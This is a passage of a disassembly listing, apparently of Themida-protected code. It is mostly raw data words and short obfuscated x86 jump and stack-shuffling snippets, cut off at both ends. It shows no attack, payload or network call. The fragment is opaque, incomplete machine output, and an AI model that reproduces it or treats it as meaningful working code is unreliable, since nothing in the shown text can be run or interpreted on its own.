6B046F05h, 2DD8017Ch, 7C6B046Fh, 5614E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560FEE: ; CODE XREF: Themida_:005653D6j add ebp, 4 jmp loc_554616 ; --------------------------------------------------------------------------- db 56h, 81h, 2Ch dd 3398F24h, 6B5DE977h, 0F0290000h, 2404335Eh, 624DE9h dd 0FFEB8300h, 2BE9h db 0 byte_561019 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552934o aWhat db '$Wh²T',0 dw 8900h dd 0BE562424h, 4, 4247401h, 243C8B5Eh, 6804C483h, 3FB7h dd 0E9240C89h, 0FFFFBD5Bh, 64B2B850h, 0F92562D4h, 5768A701h dd 1820B4BFh, 30EF8173h, 0C1764C7Eh, 0E94F05EFh, 0FFFF9D24h dd 0C106E7C1h, 0C78105E7h, 0E20EC91Ch, 355FF829h, 0C0A08AC7h dd 0FFAEC5E9h, 4EE95EFFh, 81000055h, 0BD333CEEh, 62E95868h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56108F: ; CODE XREF: Themida_:0055685Fj add esp, 4 jmp loc_562CD9 ; --------------------------------------------------------------------------- db 66h dd 83242C8Bh, 0A2E902C4h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5610A3: ; CODE XREF: Themida_:00557889j push esi mov esi, 41624EC1h jmp loc_558357 ; --------------------------------------------------------------------------- dw 0D2B8h dd 0E94A8C6Fh, 0FFFF6EE9h ; --------------------------------------------------------------------------- loc_5610B8: ; CODE XREF: Themida_:0056640Ej pop eax jmp loc_55E064 ; --------------------------------------------------------------------------- dw 0D2F7h dd 0A224F281h, 0EF81C283h, 7941A81h, 0FF2260E9h, 0FD3166FFh dd 243C8B66h, 6602C483h, 8766EDD1h, 665666F5h, 66240CFFh dd 0E924348Bh, 0FFFF2FA5h, 43EA685Ch, 4890000h, 3CC8B824h dd 0D0F72C86h, 4E8C148h, 0E903E8C1h, 1E75h, 2912E958h dd 1433FFFFh, 0D620E924h, 0C481FFFFh, 4, 2E8BE9h, 4C18100h dd 51000000h, 0FF335EE9h, 6EFC1FFh, 355F68h, 241C8900h dd 0FA15AEBBh, 0ADEB815Ch, 295CFA15h, 49BFE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56114E: ; CODE XREF: Themida_:00560EABj pop ebp sub edi, 38EA299Fh add edi, ecx add edi, 38EA299Fh mov ecx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] pop ecx push esi push 3E1B34A7h jmp loc_565ECF ; --------------------------------------------------------------------------- db 0BDh, 0C3h, 50h dd 0E9551B2Dh, 0FFFF42D4h, 77B45066h, 5866E230h, 0E9BDF280h dd 6E97h, 1358B850h, 0BE69EAh, 313E8F17h, 8EE958C6h db 1Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5611A3: ; CODE XREF: Themida_:0055F0F7j mov ebx, 76425FEEh mov eax, 9352C871h sub eax, ebx pop ebx xor ecx, eax jmp loc_554D4C ; --------------------------------------------------------------------------- db 1 dd 34FF5FFDh, 0C4815E24h, 4, 2474FF55h, 48F5D04h, 4895C24h dd 19E5E924h, 5B5DFFFFh, 4C381h, 0BCE90000h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5611E3: ; CODE XREF: Themida_:00554A30j xor edi, 0D887F28Dh xor ebp, edi jmp loc_55724A ; --------------------------------------------------------------------------- loc_5611F0: ; CODE XREF: Themida_:0055B51Cj mov [esp], ebx mov ebx, 4 sub ebp, ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_567A6C ; --------------------------------------------------------------------------- aTsf db 'TИf;',0 dd 1255BE00h, 0C5811C44h, 33BC75DEh, 68B5C581h, 0C58105D0h dd 20381D1Ah, 4F92E9h, 8BE50800h, 89532404h, 4C381E3h dd 83000000h, 3FE904C3h, 5700003Ah, 224CBF57h, 7C297E4Ch dd 0FEE90424h, 0BBFFFFB2h, 0AA05C83h, 0FF4685E9h, 0D6895AFFh dd 0ABE9515Ah, 0FF00002Bh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55F528 ; --------------------------------------------------------------------------- db 81h dd 0AF2E3DF3h, 81DBF713h, 8A4E7CF3h, 82BA5206h, 29602552h dd 0EB815AD3h, 5AE0255Ch, 52A2E9h, 0C1DAF700h, 86808E2h dd 8900004Ch, 7AB82404h, 0E933477Bh, 0FFFFD9E6h, 4244401h dd 9D9AE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5612C2: ; CODE XREF: Themida_:0055D6DEj not edx inc edx push edx inc dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_560521 ; --------------------------------------------------------------------------- byte_5612D7 db 0FFh ; DATA XREF: Themida_:005528F4o dd 669D1C77h, 2414D359h, 18D5E99Ch, 0E588FFFFh, 30585A58h dd 0C8B66E8h, 0E0895024h, 0FF6B8FE9h, 186A05FFh, 5B5B2E2Ch dd 0FF1A00E9h db 0FFh ; --------------------------------------------------------------------------- loc_561305: ; CODE XREF: Themida_:00560BF4j push ebp push 77964E6Dh pop ebp not ebp not ebp xor ebp, 77964E69h mov esi, ebp jmp loc_55972E ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 4BAh, 5AD50100h, 99685551h, 5D39D679h, 453FB951h, 0D9F75908h dd 0AD2E9h, 0C5BB5300h, 0C15F1D28h, 0B2E903E3h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56134B: ; CODE XREF: Themida_:0055DBCAj push ebx mov bh, 2Fh mov ch, 4Eh xor ch, bh pop ebx jmp loc_55A27C ; --------------------------------------------------------------------------- dd 3304C483h, 3C31243Ch, 0E7CAE924h, 5166FFFFh, 184DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56136E: ; CODE XREF: Themida_:00557F69j pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] and eax, ebp push dword ptr [esp] jmp loc_55CA02 ; --------------------------------------------------------------------------- dd 34FF5A5Fh, 0C4835824h, 2E95104h, 5DFFFF5Bh, 5D4768h dd 242C8900h, 562E8FBDh, 8BEF217Eh db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebx mov ebx, 0E4534F9Eh add edi, 73B7531Eh add edi, ebx sub edi, 73B7531Eh pop ebx add ebx, edi jmp loc_55E11D ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 0FF24248Bh, 34FF2434h, 240C8B24h, 8104C483h dd 4C4h, 4EC8300h, 54242C89h, 4EC815Dh, 89000000h, 0CAE9243Ch db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561413: ; CODE XREF: Themida_:005574AEj pop esp jmp loc_5563B6 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4108E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561422: ; CODE XREF: Themida_:0055EAB8j not ebp xchg ebp, edx jmp loc_561FB6 ; --------------------------------------------------------------------------- db 57h dd 0FFC7F8E9h, 241CF7FFh, 6EDC15Dh, 7AE1F581h, 0D5F7031Ah dd 34BDE9h db 0 ; --------------------------------------------------------------------------- loc_561445: ; CODE XREF: Themida_:00557C1Aj sub [esp+4], ecx pop ecx mov edi, [esp] add esp, 4 push 1468h mov [esp], eax push 982h mov [esp], ebp mov ebp, 12C409C4h jmp loc_557BDD ; --------------------------------------------------------------------------- loc_56146D: ; CODE XREF: Themida_:0055876Aj pop ebx mov ebx, [esp] add esp, 4 jmp loc_55489D ; --------------------------------------------------------------------------- db 68h, 9Fh, 0Ah dd 4890000h, 1F5DB824h, 685065DDh, 11C9h, 0E9241C89h, 0FFFF578Dh dd 0E9C3315Fh, 2C43h, 15EF729h, 0A7BE56F7h, 5778336Bh dd 0FF7150E9h, 5BD801FFh, 4EC81h, 2C890000h, 74B2BD24h dd 0EDC17E4Bh, 24E95004h, 8900005Eh, 4C281E2h, 83000000h dd 148704C2h, 0A8685C24h, 89000012h, 56BE2434h, 527CF754h dd 0FFFA34E9h db 0FFh ; --------------------------------------------------------------------------- loc_5614E9: ; CODE XREF: Themida_:00561D83j push esi push 2ADEh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push 71Ah jmp loc_553245 ; --------------------------------------------------------------------------- loc_561509: ; CODE XREF: Themida_:00558A80j sub ebx, 1 sub esp, 4 mov [esp], esi mov esi, 7F7809DBh add ebx, esi pop esi push edi mov edi, 85E816CFh xor ebx, edi pop edi and esi, ebx pop ebx sub esi, 69583526h jmp loc_560134 ; --------------------------------------------------------------------------- db 87h dd 0C1EA87DDh, 0E94A05E2h, 0FFFFFB7Ah, 4C181h, 0C1810000h dd 4, 0FF1AFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_561555: ; CODE XREF: Themida_:0055F69Aj sub ebx, 4 jmp loc_5558B9 ; --------------------------------------------------------------------------- dd 5F2414F7h, 0E6C1FE87h, 4FF68107h, 4E3B4F3Dh, 13C6EE81h dd 0F729F736h, 8324348Bh, 2E904C4h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561583: ; CODE XREF: Themida_:00555B28j push ebx push dword ptr [esp+4] pop ebx jmp loc_55DFF3 ; --------------------------------------------------------------------------- dw 0E901h dd 4EC835Dh, 0E9242C89h, 0FFFFC2A8h ; --------------------------------------------------------------------------- loc_56159C: ; CODE XREF: Themida_:00553B25j add ecx, 797C9BB1h jmp loc_557EA1 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9D5F700h, 13A3h, 0E9DFC180h, 2CB3h, 2414F755h dd 1CED815Dh, 81FB79C8h, 5E4EC0C7h, 81EF0124h, 5E4EC0EFh dd 0EBE95D24h, 66FFFF4Ch, 2244481h, 81661E79h, 4E02246Ch dd 148B6653h, 4EC8124h, 89000000h, 5954240Ch, 4BB53h, 0D9010000h dd 2C1815Bh, 87000000h, 248B240Ch, 15A9E924h, 0BD55FFFFh dd 4A034047h, 4844BE56h, 0DEF70C48h, 2CEE814Eh, 0E93DEC5Ch dd 0FFFFD870h, 0F87EE947h, 4B8FFFFh, 81000000h, 1134A4EDh dd 0E9C50100h, 0FFFF7AEBh ; --------------------------------------------------------------------------- loc_561644: ; CODE XREF: Themida_:0055B15Ej shl eax, 2 shl eax, 6 xor eax, 8EC7A4B7h xor ecx, eax pop eax jmp loc_556971 ; --------------------------------------------------------------------------- db 83h dd 0EB8002C4h, 48C3803Dh, 802EC380h, 0C30079C3h, 0C31B050h dd 18B2524Fh, 0E912EA80h, 829h, 0EC3ECFBDh, 85ED817Dh dd 8168B416h, 791F79E5h, 0D1D5F733h, 0DFF581EDh, 17763FBh dd 0C2815DEAh, 4, 8B241487h, 57522424h, 8B47D3BFh, 5FFA8922h dd 0D731FA31h, 7FE9FA31h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616B7: ; CODE XREF: Themida_:00562396j sub ecx, 45FF339Ah jmp loc_5627F0 ; --------------------------------------------------------------------------- loc_5616C2: ; CODE XREF: Themida_:00558563j shr edx, 5 jmp loc_557EDF ; --------------------------------------------------------------------------- dw 8EB7h dd 0E95FB151h, 0FFFF1D0Dh ; --------------------------------------------------------------------------- loc_5616D4: ; CODE XREF: Themida_:005539C9j add esp, 4 sub bl, ch pop ecx jmp loc_55FA33 ; --------------------------------------------------------------------------- dw 4FBEh dd 134AE26h, 1E95EF1h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5616EF: ; CODE XREF: Themida_:005553F2j add esp, 4 add ebx, 3A9BF93Dh push edx jmp loc_557FFE ; --------------------------------------------------------------------------- db 80h, 0C6h, 12h dd 0E9B0F680h, 0FFFF2C5Ch, 241C875Fh, 2ED0E95Ch, 4870000h dd 0C3305C24h, 0E9C0B60Fh, 5514h ; --------------------------------------------------------------------------- loc_561724: ; CODE XREF: Themida_:0055D4D8j push edx mov edx, 75258FAh jmp loc_55B238 ; --------------------------------------------------------------------------- loc_56172F: ; CODE XREF: Themida_:0055F04Cj pop esp shl eax, cl push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx push eax push dword ptr [esp+4] jmp loc_566DA3 ; --------------------------------------------------------------------------- db 0B8h, 9Fh, 25h dd 0C1015D71h, 59CB8758h, 0C6C38143h, 437CD62Fh, 0C107E3C1h dd 0F38104EBh, 0DA9CE5Ah, 1C8BDD01h, 31E95024h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561777: ; CODE XREF: Themida_:00563216j push eax push esi mov esi, 46E6DA8h mov eax, 47540C6Fh add eax, esi jmp loc_55FE40 ; --------------------------------------------------------------------------- dw 0F589h dd 0B6E9575Eh db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561793: ; CODE XREF: Themida_:00557780j xor edi, ebx pop ebx and edi, 2F98699Dh sub edi, 679F5C1Fh shr edi, 2 xor edi, 42A766CBh add eax, 53B0273Ch jmp loc_555878 ; --------------------------------------------------------------------------- aIchd db '┴Фh└{',0 align 4 dd 0BF243C89h, 4D9F55E7h, 0F74FD7F7h, 2800E9D7h, 1433FFFFh dd 24143124h, 0E9241433h, 0FFFF2E9Ch ; --------------------------------------------------------------------------- loc_5617DC: ; CODE XREF: Themida_:00555E27j add ecx, 4 xchg ecx, [esp] jmp loc_5562B5 ; --------------------------------------------------------------------------- dw 0B951h dd 35F291Fh, 23F4E981h, 0E9C16CDCh, 0DB68E908h, 3C33FFFFh dd 0EC815C24h, 2, 24148966h, 885AB450h, 0B3E958E2h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561817: ; CODE XREF: Themida_:0055967Ej add ebp, 4E5D102Ch sub eax, ebp pop ebp sub edx, 386C5FBDh sub edx, eax add edx, 386C5FBDh mov eax, [esp] jmp loc_554271 ; --------------------------------------------------------------------------- dw 0EC83h dd 2644E904h, 0EA81FFFFh, 616B73D3h, 1DBFE281h, 0C28103DEh dd 39AC1906h, 0FFF03FE9h, 5EF029FFh, 1C242C81h, 52782F7Bh dd 810E9h, 82EF8100h dword_561868 dd 0E923A373h, 0FFFF4460h ; DATA XREF: Themida_:0054B688o ; --------------------------------------------------------------------------- loc_561870: ; CODE XREF: Themida_:00554B77j pop esp mov [esp], edx push 10651117h pop edx xor edx, 10651517h mov eax, edx mov edx, [esp] jmp loc_553362 ; --------------------------------------------------------------------------- dw 895Ch dd 5F54243Ch, 4C781h, 0EC810000h, 4, 51240489h, 468h, 89575900h dd 2C8157CFh, 9542FE24h, 0FE05580Ch, 5F0C9542h, 58C70159h dd 31243C33h, 3C33243Ch, 24248B24h, 30DDE9h, 0E9D53100h dd 0FFFFCEAAh, 5C24048Fh, 4EC8350h, 81242489h, 42404h dd 55580000h, 6C4FBDBDh, 1C5834Ah, 8308EDC1h, 148904ECh dd 14F4BA24h, 0D2F7759Ah, 31D5E9h, 5EE95C00h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56190B: ; CODE XREF: Themida_:005567BFj add esp, 4 add ecx, 4 push eax mov eax, 76816A41h push ecx mov ecx, 690C6681h and ecx, 2AEA4DF8h inc ecx and ecx, 58C15049h shl ecx, 4 push edi mov edi, 86E83240h xor ecx, edi pop edi jmp loc_556C05 ; --------------------------------------------------------------------------- dw 4B9h dd 55000000h, 73BF5753h, 0BB273641h, 3F8B79E9h, 0E95FFB29h dd 0FFFF4E83h ; --------------------------------------------------------------------------- loc_561958: ; CODE XREF: Themida_:00566659j add ebx, 4 xchg ebx, [esp] pop esp or edx, eax shl edx, 1 jmp loc_5636AA ; --------------------------------------------------------------------------- loc_561968: ; CODE XREF: Themida_:005657F8j pop edx xor esi, 5FA12505h xor esi, 68C63AFBh add ecx, esi mov esi, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebp mov ebp, esp push ebx mov ebx, offset word_507B52 xor ebx, offset word_507B56 add ebp, ebx jmp loc_55AA31 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 35906852h, 0ABE977E2h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5619B3: ; CODE XREF: Themida_:005533F7j add eax, 28653036h jmp loc_558C82 ; --------------------------------------------------------------------------- loc_5619BD: ; CODE XREF: Themida_:0055DBADj pop edi xchg esi, edx shl edx, 6 add edx, 4EB0E66Eh push 671Fh mov [esp], edx pop ebp pop edx jmp loc_563E52 ; --------------------------------------------------------------------------- loc_5619D8: ; CODE XREF: Themida_:0055B48Dj mov edi, 4 add ebp, 0E95DC3h sub ebp, edi sub ebp, 0E95DC3h pop edi xchg ebp, [esp] jmp loc_55E0F9 ; --------------------------------------------------------------------------- dd 0B8E939B0h, 89FFFF5Ah, 8B542414h, 5E92414h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A07: ; CODE XREF: Themida_:00556076j sub esp, 4 jmp loc_55A721 ; --------------------------------------------------------------------------- dw 6858h dd 6BFDh, 55241489h, 0F44E61BDh, 9C2FBA12h, 0EA29896Eh dd 2012E95Dh, 1580000h, 241C8BD9h, 504C483h, 467409C3h dd 5657C829h, 0B06C7CBEh, 65BFBF7Eh, 95E938C4h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561A4F: ; CODE XREF: Themida_:0055EDF3j mov [esp], edi push edx mov edx, 4 jmp loc_5628E1 ; --------------------------------------------------------------------------- loc_561A5D: ; CODE XREF: Themida_:005573C5j push ecx mov ch, 7 not ch xor ch, 0BFh jmp loc_557AE5 ; --------------------------------------------------------------------------- loc_561A6A: ; CODE XREF: Themida_:00555090j mov edx, ebp pop ebp neg edx inc edx add edx, 464772C3h add edx, 542B6C06h shr edx, 8 sub edx, 910FDD9Ah and eax, edx pop edx add eax, 4115ED7Ch add ebp, eax pop eax mov ebx, [esp] jmp loc_55E155 ; --------------------------------------------------------------------------- dd 8324348Bh, 0C20104C4h, 654AE9h, 54C6B900h, 0CE94686h db 67h, 2 dup(0) byte_561AAF db 66h ; DATA XREF: Themida_:005529F0o dd 6824048Bh, 99h, 83243489h, 8F5404ECh, 4812404h, 424h dd 51555E00h, 8D5701B9h, 4815173h, 0F8571624h, 0ED815D5Ch dd 5CF85716h, 4EDC159h, 2DCBED81h, 0F5813D9Fh, 13072966h dd 0FFE49BE9h, 0FFE981FFh, 55FFFFFFh, 0B3391ABDh, 1ED816Ch dd 0E9000000h, 0FFFF7699h, 26B2E95Ch, 0E3890000h, 33ADE9h dd 1C8B5400h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_560A20 ; --------------------------------------------------------------------------- dw 0EBC1h dd 9C38104h, 817EB42Ch, 20A2EE3h, 0E8EFE937h, 5F54FFFFh dd 4BA52h, 0C7810000h, 3A6A0C2Eh, 0E953D701h, 0FFFF55EFh dd 18A0E957h, 2C810000h, 0C3475024h, 242C814Fh, 2AB53B0Ah dd 81241C8Bh, 4C4h, 0C3834B00h, 68EBD1FFh, 6F26h, 0FF6248E9h db 0FFh ; --------------------------------------------------------------------------- loc_561B85: ; CODE XREF: Themida_:00565AA7j mov ebp, esi mov ecx, ebp pop ebp jmp loc_559DE1 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0E9E8005Ch, 0FFFF5A7Ah dd 5203E6C1h, 0FF4996E9h, 5E9C0FFh, 0FFD2E9E9h db 0FFh byte_561BB9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B48o aHo db '$h╝:',0 align 2 dw 1C89h aIuhm db '$┴Цh╛\',0 align 4 dd 0BA241489h, 6E201FF9h, 67D5BF57h, 0EFC17A00h, 6EFC108h dd 37C3E9h, 56E58900h, 4BEh, 2870E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BF2: ; CODE XREF: Themida_:0055BFE8j pop esp mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 0AC61E91h neg esi add esi, 49029AF5h push 74A7h mov [esp], eax push ebp mov ebp, 77273AEh mov eax, 0EC7C282Fh sub eax, ebp jmp loc_55B24E ; --------------------------------------------------------------------------- db 8Fh dd 0E95C2404h, 0FFFFABC0h, 3F46C681h, 0C6293620h, 3F46EE81h dd 7EE93620h, 89FFFFA5h, 6657242Ch, 0E9110DBFh, 0FFFF7849h ; --------------------------------------------------------------------------- loc_561C4C: ; CODE XREF: Themida_:00565D9Cj pop esi loc_561C4D: ; CODE XREF: Themida_:0055AD57j push ebp mov ebp, esp push ecx mov ecx, 4 sub ebp, 2AB449AAh add ebp, ecx add ebp, 2AB449AAh pop ecx push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] jmp loc_55895E ; --------------------------------------------------------------------------- loc_561C76: ; CODE XREF: Themida_:005570C0j mov [esp], ebp jmp loc_55E7E2 ; --------------------------------------------------------------------------- dw 8EB2h dd 504AE280h, 0E8C095B0h, 1CF65006h, 24048B24h, 0FF984EE9h db 0FFh ; --------------------------------------------------------------------------- loc_561C95: ; CODE XREF: Themida_:0056521Cj add ebp, 4 add ebp, 4 jmp loc_55D5F9 ; --------------------------------------------------------------------------- loc_561CA6: ; CODE XREF: Themida_:005558DDj add ebx, esi add ebx, 550822F3h mov esi, [esp] jmp loc_55A64E ; --------------------------------------------------------------------------- dw 0E94Ah dd 0FFFF6EBEh, 4C281h, 14870000h, 0F426E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CCA: ; CODE XREF: Themida_:005566CBj push ebp jmp loc_55D62D ; --------------------------------------------------------------------------- dd 51E4F780h, 0FF9602E9h, 0D2C581FFh, 0E9B9A4D6h, 56DBh dd 9110B6BAh, 8BD1313Dh, 0C4832414h, 59C80104h, 322DF801h dd 5F69D010h, 0D93E956h, 1C870000h, 40E95C24h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561D0B: ; CODE XREF: Themida_:005582BBj pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55FC11 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 4B9515Ah, 0E9000000h, 58C9h ; --------------------------------------------------------------------------- loc_561D30: ; CODE XREF: Themida_:005675F4j pop esp push esi push esp mov esi, [esp] add esp, 4 push ecx mov ecx, 6C9E17BCh and ecx, 201F1231h push ebp mov ebp, 0C5B282Ch shr ebp, 3 inc ebp shl ebp, 2 jmp loc_55A618 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 8904EC83h, 44B9240Ch, 5354D677h, 3CE368h dd 24048900h, 49A7E9h db 0 ; --------------------------------------------------------------------------- loc_561D79: ; CODE XREF: Themida_:00564B17j push dword ptr [esp] pop ecx add esp, 4 mov ecx, [esp] jmp loc_5614E9 ; --------------------------------------------------------------------------- dd 448BED81h, 0EA0159AFh, 4175E95Dh, 8950FFFFh, 405E0h dd 0D8E90000h, 5F000029h, 0EC83DFF7h, 242C8904h, 0FFFFFFBDh dd 0F6EF81FFh, 0E9669A18h, 3315h ; --------------------------------------------------------------------------- loc_561DBC: ; CODE XREF: Themida_:005627C8j and ecx, 5896320Bh push ebp mov ebp, 0FFFDFFF9h jmp loc_560EA9 ; --------------------------------------------------------------------------- loc_561DCD: ; CODE XREF: Themida_:0056528Aj not esi sub esi, 0C5E68F51h jmp loc_560403 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 685BDA01h, 39F7h, 57241C89h, 2BFh, 50BCE900h db 2 dup(0) word_561DF6 dw 34FFh ; DATA XREF: Themida_:00552AACo dd 2434FF24h, 1DC4E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E02: ; CODE XREF: Themida_:00553312j xor ecx, esi mov esi, [esp] add esp, 4 jmp loc_564619 ; --------------------------------------------------------------------------- db 53h dd 870EF0BBh, 5BD92129h, 5061C181h, 0E181278Eh, 352E2CB8h dd 0FF3ED3E9h db 0FFh ; --------------------------------------------------------------------------- loc_561E29: ; CODE XREF: Themida_:00552FFBj sub ebp, 45195414h add edi, ebp pop ebp sub edi, 0C4092F0Ch add eax, edi pop edi push ebp mov ebp, 4 add eax, ebp pop ebp xor eax, [esp] jmp loc_55EA79 ; --------------------------------------------------------------------------- loc_561E4C: ; CODE XREF: Themida_:00557180j mov eax, esi pop esi add eax, 1ACC5CB7h xor eax, 0BE0F02FEh mov ebx, eax pop eax neg ebx sub ebx, 0FFFFFFFFh not ebx shr ebx, 4 sub ebx, 2609799h add ebp, ebx jmp loc_55A632 ; --------------------------------------------------------------------------- dw 0EF01h dd 78E9525Dh db 0A1h, 2 dup(0FFh) byte_561E7F db 66h ; DATA XREF: Themida_:00552AA8o dd 51240C8Bh, 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh dd 2414895Ch, 5C34E9h, 5AD03000h, 8058C328h, 39E92EEBh dd 88FFFF3Eh, 0E4805AF4h, 0FDF480FBh, 32F6E9h, 59FCB900h dd 0E18154DBh, 7DB18C8h, 446FF181h, 0E1817B98h, 54E10084h dd 0FE0AE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561EDA: ; CODE XREF: Themida_:005673BAj mov eax, 294419DDh mov esi, 2A94337Eh xor esi, eax jmp loc_5573F8 ; --------------------------------------------------------------------------- byte_561EEB db 0ADh ; DATA XREF: Themida_:00552A60o dd 0C4501805h, 57D80129h, 0F27BE955h, 0F004FFFFh, 0F02CD028h dd 0E9D82C5Ah, 0FFFF4A23h, 4C181h, 0E9520000h, 66Ah, 8B240C33h dd 48F2424h, 0D8E95C24h, 0FFFFFFE5h, 0E95D2434h, 0FFFFA354h dd 0FF0C8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_561F31: ; CODE XREF: Themida_:00553AC1j shr esi, 1 jmp loc_558033 ; --------------------------------------------------------------------------- loc_561F38: ; CODE XREF: Themida_:00554617j mov edx, 4 add ebp, edx jmp loc_55C78A ; --------------------------------------------------------------------------- dd 6E9C15Eh, 1A49E9h, 243C8900h, 4BFh, 5FFA0100h, 6804C283h dd 4F5Ch, 0FF241489h, 0FF042474h, 835A2434h, 2C8904ECh dd 81E58924h, 4C5h, 4C58300h, 2953E9h db 0 ; --------------------------------------------------------------------------- loc_561F81: ; CODE XREF: Themida_:005634C5j mov ecx, [esp] jmp loc_552E2A ; --------------------------------------------------------------------------- db 80h, 0E6h, 57h dd 30AEC680h, 14A6E9F5h, 0D830FFFFh, 0FF2F31E9h db 0FFh ; --------------------------------------------------------------------------- loc_561F9D: ; CODE XREF: Themida_:0055EE82j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 jmp loc_566AE4 ; --------------------------------------------------------------------------- loc_561FB6: ; CODE XREF: Themida_:00561426j push eax mov eax, 0D11CD24Bh xor edx, eax pop eax xor eax, edx pop edx add eax, 2B976CA0h jmp loc_55D969 ; --------------------------------------------------------------------------- loc_561FCC: ; CODE XREF: Themida_:005609E3j mov edx, 195A6929h mov edi, edx pop edx jmp loc_55D55A ; --------------------------------------------------------------------------- loc_561FD9: ; CODE XREF: Themida_:0055DA1Aj sub bl, 99h add bl, 0Fh movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_55CC73 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 5155E389h, 680E9968h, 0EBE9597Ah db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FFF: ; CODE XREF: Themida_:00555D98j add esp, 4 pop dword ptr [esp] jmp loc_55D520 ; --------------------------------------------------------------------------- db 5Dh, 52h, 0E9h dd 0FFFF9FD9h ; --------------------------------------------------------------------------- loc_562014: ; CODE XREF: Themida_:0055D8BEj mov edi, 12012497h jmp loc_55EF5A ; --------------------------------------------------------------------------- dw 0C183h dd 240C8702h, 6624248Bh, 2404B30Fh, 0B89E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562032: ; CODE XREF: Themida_:0056587Ej pop esi sub eax, 29912E4h add eax, edi jmp loc_55A69A ; --------------------------------------------------------------------------- loc_56203F: ; CODE XREF: Themida_:005584E7j sub dl, 0C2h jmp loc_55876F ; --------------------------------------------------------------------------- db 89h dd 3ABD242Ch, 817B6750h, 3A0C04CDh, 0E9EDD125h, 550Ah dd 0F604C483h, 6AB252D4h, 0C2FECAFEh, 0FFE7CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56206D: ; CODE XREF: Themida_:005655C5j mov [esp], ebp jmp loc_565295 ; --------------------------------------------------------------------------- db 0BAh, 0E9h, 1Ah dd 0B9512398h, 18872F2h, 8246C81h, 4EAA5A66h, 492E9h, 7BA36800h dd 51E90000h, 87FFFF46h, 0A2E681FEh, 8112703Eh, 0DA21DAEEh dd 4BDFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5620AA: ; CODE XREF: Themida_:005635F2j neg ecx jmp loc_55564A ; --------------------------------------------------------------------------- db 66h, 1, 0C3h dd 8904EC83h, 0E389241Ch, 4C381h, 0EB830000h, 241C8704h dd 0E924248Bh, 0FFFFAE5Bh ; --------------------------------------------------------------------------- loc_5620D0: ; CODE XREF: Themida_:00553E7Dj push ebx jmp loc_564179 ; --------------------------------------------------------------------------- loc_5620D6: ; CODE XREF: Themida_:005672C3j pop edi sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi not esi xchg esi, [esp] mov eax, [esp] push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 jmp loc_552DBA ; --------------------------------------------------------------------------- dd 58C2085Bh, 6806E2C0h, 0B99h, 0B3241C89h, 